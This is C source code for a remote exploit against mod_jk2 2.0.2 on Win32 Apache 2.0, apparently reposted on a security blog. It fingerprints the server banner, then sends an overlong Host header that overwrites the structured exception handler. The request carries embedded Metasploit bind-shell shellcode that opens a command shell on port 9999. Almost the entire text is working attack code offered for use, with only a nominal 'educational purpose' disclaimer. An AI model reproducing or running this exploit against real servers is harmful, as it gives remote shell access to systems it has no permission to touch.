/* Dreatica-FXP crew
*
* ----------------------------------------
* Target         : mod_jk2 v2.0.2 for Apache 2.0 Win32  
* Found by       : IOActive Security Advisory
* ----------------------------------------
* Exploit        : mod_jk2 v2.0.2 Buffer Overflow Exploit (win32)
* Exploit date   : 01.03.2008 - 02.03.2008
* Exploit writer : Heretic2 (hereti...@gmail.com)
* OS             : Windows ALL
* Crew           : Dreatica-FXP
* ----------------------------------------
* Info           : Exploit was found by IOActive Security Advisory, trivial
exploit for win32.
*                  The only problem here is that the mod_jk2 forstly
downcase all letter in Host
*                  header request, Metasploit v3 have solutions for this
case:
*                     1. Use non-upper encoder
*                     2. Use non-alpha encoder
*                  i used the first variant here. and all is working good.
* ----------------------------------------
* Thanks to:
*       1. IOActive Security Advisory  (
)
*       2. The Metasploit project      ( http://metasploit.com
)
*       3. Dreatica-FXP crew           (
)
* ----------------------------------------
* This was written for educational purpose only. Use it at your own risk.
Author will be not be
* responsible for any damage, caused by that code.
***************************************************************************­*
********
*/


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock2.h>
#include <ctime>
#pragma comment(lib,"ws2_32")


void usage(char * s);
void logo();
void end_logo();
void prepare_shellcode(unsigned char * fsh, int sh, char * cbip, int cbport,
char * url);
void make_buffer(unsigned char * buf, unsigned int * len, int itarget, int
sh);
int get_version(char * remotehost, int port, int * itarget);
int validate_args(char * remotehost, int port, int sh, int itarget);
int send_buffer(unsigned char * buf, unsigned int len, char * remotehost,
int port);
SOCKET do_connect (char *remotehost, int port);


// -----------------------------------------------------------------
// XGetopt.cpp  Version 1.2
// -----------------------------------------------------------------
int getopt(int argc, char *argv[], char *optstring);
char    *optarg;               // global argument pointer
int            optind = 0, opterr;    // global argv index
// -----------------------------------------------------------------
// -----------------------------------------------------------------


struct _target{
        const char *t ;
        unsigned long ret ;


} targets[]=


{      
        {"mod_jk2/2.0.2 for Apache 2.0.48",  0x100115c3 },// pop,pop,ret

        {NULL,                               0x00000000 }



};


struct {
        const char * name;
        int length;
        char * shellcode;      

}shellcodes[]={        


        {"Bindshell, port 9999", 461,        
        /*
        * windows/shell_bind_tcp - 461 bytes
        * http://www.metasploit.com
        * Encoder: x86/nonalpha
        * EXITFUNC=seh, LPORT=9999
        */

"\x66\xb9\xff\xff\xeb\x19\x5e\x8b\xfe\x83\xc7\x6c\x8b\xd7\x3b"


"\xf2\x7d\x0b\xb0\x7b\xf2\xae\xff\xcf\xac\x28\x07\xeb\xf1\xeb"


"\x71\xe8\xe2\xff\xff\xff\x11\x2e\x0f\x36\x03\x2c\x32\x07\x27"


"\x06\x15\x30\x0f\x1a\x17\x38\x0b\x13\x2d\x2b\x15\x28\x15\x13"


"\x13\x04\x08\x27\x13\x2b\x15\x26\x11\x13\x24\x28\x28\x28\x28"


"\x28\x38\x28\x38\x28\x15\x13\x15\x28\x13\x0b\x24\x11\x2a\x26"


"\x13\x24\x28\x26\x13\x32\x32\x24\x2b\x27\x27\x26\x13\x02\x02"


"\x24\x26\x15\x11\x17\x15\x13\x18\x0e\x11\x2b\x22\x11\x37\x39"


"\x39\x01\x13\x09\x06\x37\x24\x29\x2a\x2a\x2a\x11\x2a\x2a\x26"


"\x2a\x13\x28\x11\x24\x17\x29\x13\x28\xfc\x7b\xeb\x7b\xe8\xf9"


"\xff\xff\xff\x60\x8b\x7b\x24\x24\x8b\x7b\x3c\x8b\x7c\x05\x7b"


"\x01\xef\x8b\x7b\x18\x8b\x5f\x20\x01\xeb\x7b\x8b\x34\x8b\x01"


"\xee\x31\xc0\x99\xac\x84\xc0\x7b\x07\xc1\xca\x0d\x01\xc2\xeb"


"\xf4\x3b\x7b\x24\x28\x7b\xe5\x8b\x5f\x24\x01\xeb\x7b\x8b\x0c"


"\x7b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x7b\x24\x1c\x7b\xc3"


"\x31\xdb\x7b\x8b\x7b\x30\x8b\x40\x0c\x8b\x7b\x1c\xad\x8b\x40"


"\x08\x5e\x7b\x8e\x7b\x0e\xec\x7b\xff\xd6\x7b\x7b\x7b\x7b\x33"


"\x32\x7b\x7b\x7b\x32\x5f\x7b\xff\xd0\x7b\xcb\xed\xfc\x3b\x7b"


"\xff\xd6\x5f\x89\xe5\x7b\x81\xed\x08\x02\x7b\x7b\x02\xff\xd0"


"\x7b\xd9\x09\xf5\xad\x7b\xff\xd6\x7b\x7b\x7b\x7b\x7b\x7b\x7b"


"\x7b\x7b\xff\xd0\x7b\x7b\x27\x0f\x7b\x7b\x89\xe1\x95\x7b\xa4"


"\x1a\x7b\xc7\x7b\xff\xd6\x7b\x10\x7b\x7b\xff\xd0\x7b\xa4\xad"


"\x2e\xe9\x7b\xff\xd6\x7b\x7b\xff\xd0\x7b\xe5\x7b\x86\x7b\x7b"


"\xff\xd6\x7b\x7b\x7b\x7b\xff\xd0\x93\x7b\xe7\x7b\xc6\x7b\x7b"


"\xff\xd6\x7b\xff\xd0\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x89\xe5\x7b"


"\x7b\x7b\x29\xcc\x89\xe7\x7b\x7b\x89\xe2\x31\xc0\xf3\xaa\xfe"


"\x7b\x2d\xfe\x7b\x2c\x93\x8d\x7b\x38\xab\xab\xab\x7b\x7b\xfe"


"\xb3\x16\xff\x7b\x7b\xff\xd6\x5b\x7b\x7b\x7b\x7b\x7b\x7b\x01"


"\x7b\x7b\x7b\x7b\xff\xd0\x7b\xad\xd9\x05\xce\x7b\xff\xd6\x7b"


"\xff\xff\x37\xff\xd0\x8b\x7b\xfc\x83\xc4\x7b\xff\xd6\x7b\xff"
               "\xd0\x7b\xf0\x8a\x04\x5f\x7b\xff\xd6\xff\xd0"
         },      
        {NULL , NULL }



};


int main(int argc, char **argv)
{
        char * remotehost=NULL;
        char default_remotehost[]="127.0.0.1";        
        char temp1[100], temp2[100];
        int port, itarget, x, sh;
        SOCKET s;
        char c;
        int option_index=0;
        logo();
        WSADATA wsa;
        WSAStartup(MAKEWORD(2,0), &wsa);
        if(argc<2)
        {
               usage(argv[0]);        
               return -1;
        }

        // set defaults
        port=80;
        itarget=-1;
        sh=0;
        // ------------


        while((c = getopt(argc, argv, "h:p:"))!= EOF)
        {
               switch (c)
               {
                       case 'h':
                               remotehost=optarg;
                               break;                        
                       case 'p':
                               sscanf(optarg, "%d", &port);
                               break;                
                       default:
                    usage(argv[0]);
                               WSACleanup();
                       return -1;
               }              
        }      
        if(remotehost == NULL) remotehost=default_remotehost;
        memset(temp1,0,sizeof(temp1));
        memset(temp2,0,sizeof(temp2));
        memset(temp1, '\x20' , 58 - strlen(remotehost) -1);  
        printf(" #  Host    : %s%s# \n", remotehost, temp1);  
        sprintf(temp2, "%d", port);
        memset(temp1,0,sizeof(temp1));
        memset(temp1, '\x20' , 58 - strlen(temp2) -1);
        printf(" #  Port    : %s%s# \n", temp2, temp1);
        memset(temp1,0,sizeof(temp1));
        memset(temp2,0,sizeof(temp2));
        sprintf(temp2, "%s", shellcodes[sh].name );
        memset(temp1, '\x20' , 58 - strlen(temp2) -1);        
        printf(" #  Payload : %s%s# \n", temp2, temp1);      


        printf(" #
------------------------------------------------------------------- # \n");
        fflush(stdout);
        printf("   [+] Checking if server is online\n");
        fflush(stdout);
        s=do_connect(remotehost, port);  
        if(s==-1)
        {
               printf("   [-] Server is OFFLINE\n");
               end_logo();
               return 0;
        }
        closesocket(s);
        printf("   [+] Server is ONLINE\n");


        x = get_version(remotehost, port, &itarget);
        if(x<0)
        {
               printf("   [-] Cannot exploit due to errors\n");
               WSACleanup();
               end_logo();
               return -1;            
        }


        unsigned char buf[10000];
        unsigned int len;
        memset(buf,0,sizeof(buf));
        fflush(stdout);
        make_buffer(buf, &len, itarget, sh);


        printf("   [+] Attacking buffer constructed\n");


        if(send_buffer(buf, len, remotehost,port)==-1)
        {
               printf("   [-] Cannot exploit server %s\n", remotehost);
               end_logo();
               WSACleanup();
               return -1;
        }


        printf("   [+] Buffer sent\n");
        printf("   [+] Connect to %s:%d\n", remotehost, 9999);


        end_logo();
        WSACleanup();
        return 0;



}


SOCKET do_connect (char *remotehost, int port)
{
        static struct hostent *host;
        static struct sockaddr_in addr;
        SOCKET s;      
        host = gethostbyname(remotehost);
        if (!host)
        {
               perror("   [-] gethostbyname() failed");
               return -1;
        }
        addr.sin_addr = *(struct in_addr*)host->h_addr;

        s = socket(PF_INET, SOCK_STREAM, 0);
        if (s == -1)
        {
               closesocket(s);
               perror("socket() failed");
               return -1;
        }
        addr.sin_port = htons(port);
        addr.sin_family = AF_INET;
        if (connect(s, (struct sockaddr*)&addr, sizeof(addr)) == -1)
        {
               closesocket(s);    
               return -1;
        }
        return s;



}


int get_version(char * remotehost, int port, int * target)
{

        char bufmax[4096], * lp, *lp2, WebBanner[1000], Version[1000],
ModJK[1000];
        int bytes,j,x;
        SOCKET sock;


        memset(bufmax,0,sizeof(bufmax));
        memset(WebBanner,0,sizeof(WebBanner));
        memset(Version,0,sizeof(Version));
        memset(ModJK,0,sizeof(ModJK));
        sock = do_connect(remotehost, port);


        if (sock == -1) return -1;
        send(sock, "GET /a.html HTTP/1.0\r\n\r\n",(int)strlen("GET /a.html
HTTP/1.0\r\n\r\n"),0);


        if ((bytes = recv(sock, bufmax, sizeof(bufmax),0 )) <= 0) return -1;
        bufmax[sizeof(bufmax)-1]=0;


        if((lp=strstr(bufmax,"Server:"))==NULL) return -1;
        if((lp2=strstr(lp,"\r\n"))==NULL) return -1;


        strncpy(WebBanner, lp, lp2-lp);
        if((lp=strstr(WebBanner,"Win32"))==NULL)
        {
               printf("   [-] OS is not a Win32\n");
               return -1;
        }


        if((lp=strstr(WebBanner,"Apache/"))==NULL)
        {
               printf("   [-] No Apache\n");
               return -1;
        }
        if(lp+strlen("Apache/")>WebBanner+strlen(WebBanner)-1) return -1;
        lp+=strlen("Apache/");
        if((lp2=strstr(lp," "))==NULL) return -1;


        strncpy(Version, lp, lp2-lp);


        printf("   [+] Version of Apache is %s\n", Version);


        x=0;
        for(j=0; targets[j].t!=0;j++)
        {
               if(strstr(targets[j].t,Version)!=NULL)
               {                      
                       x=1;
                       break;
               }
        }
        if(x==0)
        {
               printf("   [-] This version of Apache is UNSUPPORTED\n");
               return -1;
        }
        printf("   [+] This version of Apache is SUPPORTED\n");


        strncpy(WebBanner, lp, lp2-lp);


        if((lp=strstr(WebBanner,"mod_jk2/"))==NULL)
        {
               printf("   [-] No mod_jk2\n");
               return -1;
        }
        if((lp2=strstr(lp," "))==NULL) lp2=WebBanner+strlen(WebBanner);


        strncpy(ModJK, lp, lp2-lp);


        printf("   [+] mod_jk2 is %s\n", ModJK);
        x=0;
        for(j=0; targets[j].t!=0;j++)
        {
               if(strstr(targets[j].t,ModJK)!=NULL)
               {
                       *target=j;
                       x=1;
                       break;
               }
        }
        if(x==0)
        {
               printf("   [-] This version of mod_jk2 is UNSUPPORTED\n");
               return -1;
        }
        printf("   [+] This version of mod_jk2 is SUPPORTED\n");
        return 0;



}


void prepare_shellcode(unsigned char * fsh, unsigned int * fshlength, int
sh)
{
        memcpy(fsh, shellcodes[sh].shellcode, shellcodes[sh].length);
        *fshlength = shellcodes[sh].length;  


}


void make_buffer(unsigned char * buf, unsigned int * len, int itarget, int
sh)
{
               // prepare shellcode
        unsigned char fsh[10000];      
        unsigned int fshlength;
        memset(fsh, 0, sizeof(fsh));  
        prepare_shellcode(fsh, &fshlength, sh);
        // -----------------

               // make buffer
        unsigned char * cp=buf;


               // begin of the HTTP request
        memcpy(cp, "GET / HTTP/1.0\r\nHost: ", strlen("GET /
HTTP/1.0\r\nHost: ") );        
        cp+=strlen((char *)cp);


               // jff
        *cp++='\x90';
        *cp++='\x90';
        *cp++='\x90';
        *cp++='\x90';


               // overflowing
        memset(cp, '\x41', 5001);


               // put the shellcode
        memcpy(cp, fsh, fshlength);
        cp+=1271;


               // calculating backward jump
        int jmp_bytes=0xffffffff - (1275);


               // putting backward jump
        *cp++ = '\xe9';
        *cp++ = (char)((jmp_bytes      ) & 0xff);
        *cp++ = (char)((jmp_bytes >>  8) & 0xff);
        *cp++ = (char)((jmp_bytes >> 16) & 0xff);
        *cp++ = (char)((jmp_bytes >> 24) & 0xff);


               // next SEH record and back jump
        *cp++='\x90';
        *cp++='\x90';
        *cp++='\xeb';
        *cp++='\xf7';


               // replace SEH
        *cp++ = (char)((targets[itarget].ret      ) & 0xff);
        *cp++ = (char)((targets[itarget].ret >>  8) & 0xff);
        *cp++ = (char)((targets[itarget].ret >> 16) & 0xff);
        *cp++ = (char)((targets[itarget].ret >> 24) & 0xff);


               // trigger exception
        cp+=3000;                      


               // copy the last part of the request
        memcpy(cp, "\r\n\r\n", strlen("\r\n\r\n") );          
        cp+=strlen((char *)cp);



}


int send_buffer(unsigned char * buf, unsigned int len, char * remotehost,
int port)
{      
        SOCKET sock;

        sock = do_connect(remotehost, port);


        if (sock<0) return -1;
        if (send(sock, (char *)buf,(int)strlen((char *)buf),0)<=0) return
-1;


        closesocket(sock);
        return 1;


}

// -----------------------------------------------------------------
// XGetopt.cpp  Version 1.2
// -----------------------------------------------------------------
int getopt(int argc, char *argv[], char *optstring)
{
        static char *next = NULL;
        if (optind == 0)
               next = NULL;

        optarg = NULL;


        if (next == NULL || *next == '\0')
        {
               if (optind == 0)
                       optind++;


               if (optind >= argc || argv[optind][0] != '-' ||
argv[optind][1] == '\0')
               {
                       optarg = NULL;
                       if (optind < argc)
                               optarg = argv[optind];
                       return EOF;
               }


               if (strcmp(argv[optind], "--") == 0)
               {
                       optind++;
                       optarg = NULL;
                       if (optind < argc)
                               optarg = argv[optind];
                       return EOF;
               }


               next = argv[optind];
               next++;        // skip past -
               optind++;
        }

        char c = *next++;
        char *cp = strchr(optstring, c);


        if (cp == NULL || c == ':')
               return '?';
        cp++;
        if (*cp == ':')
        {
               if (*next != '\0')
               {
                       optarg = next;
                       next = NULL;
               }
               else if (optind < argc)
               {
                       optarg = argv[optind];
                       optind++;
               }
               else
               {
                       return '?';
               }
        }

       return c;
}

// -----------------------------------------------------------------
// -----------------------------------------------------------------
// -----------------------------------------------------------------

void usage(char * s)
{      
        printf("\n");
        printf("    Usage: %s -h <host> -p <port>\n", s);
        printf("
-------------------------------------------------------------------\n");
        printf("    Arguments:\n");
        printf("      -h ........ host to attack\n");
        printf("      -p ........ port to use\n");    
        printf("\n");
        printf("    Supported mod_jk versions:\n");
        for(int j=0; targets[j].t!=0;j++)
        {
               printf("      %d. %s\n",j+1, targets[j].t);
        }                                    
        printf("\n");
        printf("    Execution: %s\n\n", shellcodes[0].name);


        end_logo();    

}

void logo()
{
        printf("\n\n");
        printf("
#######################################################################
\n");        
        printf(" #     ____                 __  _                  ______
__    _____ #\n");
        printf(" #    / __ \\________  _____/ /_(_)_________       / __/\\
\\/ /   / _  / #\n");
        printf(" #   / / / / ___/ _ \\/ __ / __/ / ___/ __ / ___  / /    \\
/   / // /  #\n");
        printf(" #  / /_/ / / /  ___/ /_// /_/ / /__/ /_// /__/ / _/    /
\\  / ___/   #\n");
        printf(" # /_____/_/  \\___/ \\_,_/\\__/_/\\___/\\__,_/     /_/
/_/\\_\\/_/       #\n");
        printf(" #                                 crew
#\n");
        printf("
#######################################################################
\n");        
        printf(" #  Exploit : mod_jk2 v2.0.2 for Apache 2.0
# \n");
        printf(" #  Author  : Heretic2
# \n");
        printf(" #  THANKS  : IOActive and The Metasploit Project
# \n");
        printf(" #  Research: IOActive Security Advisory
# \n");
        printf(" #  Version : 1.0
# \n");
        printf(" #  System  : Windows ALL
# \n");
        printf(" #  Date    : 01.03.2008 - 02.03.2008
# \n");
        printf(" #
------------------------------------------------------------------- # \n");

}

void end_logo()
{
        printf(" #
------------------------------------------------------------------- # \n");
        printf(" #                    Dreatica-FXP crew [Heretic2]
# \n");        
        printf("
#######################################################################
\n\n");
}
Bug&Exp | Comments(0) | Trackbacks(0) | Reads(6085)
Add a comment
Emots
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
Enable HTML
Enable UBB
Enable Emots
Hidden
Nickname   Password   Optional
Site URI   Email   [Register]
               

Security code Case insensitive